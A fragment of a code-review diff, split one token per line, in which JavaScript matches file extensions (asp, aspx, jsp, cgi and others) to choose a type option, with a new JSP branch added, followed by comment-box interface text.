:
/
.
+
\
.(
as
(
p
|
a
|
hx
)
|
c
(
dx
|
er
))
/
,
"jsp"
:
/
.
+
\
.(
jsp
[
x
]?)
/
,
"custom"
:
/.+
\.((
jsp
[
x
]?)
|cgi
)
/
}
let
typecombo
=
form
.
getCombo
(
'type'
);
...
...
@@ -276,6 +277,8 @@ class Form {
typecombo
.
selectOption
(
typecombo
.
getOption
(
'aspx'
).
index
);
}
else
if
(
file_match
.
asp
.
test
(
id
)
==
true
)
{
typecombo
.
selectOption
(
typecombo
.
getOption
(
'asp'
).
index
);
}
else
if
(
file_match
.
jsp
.
test
(
id
)
==
true
)
{
typecombo
.
selectOption
(
typecombo
.
getOption
(
'jsp'
).
index
);
}
else
if
(
file_match
.
custom
.
test
(
id
)
==
true
)
{
typecombo
.
selectOption
(
typecombo
.
getOption
(
'custom'
).
index
);
}
...
...
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment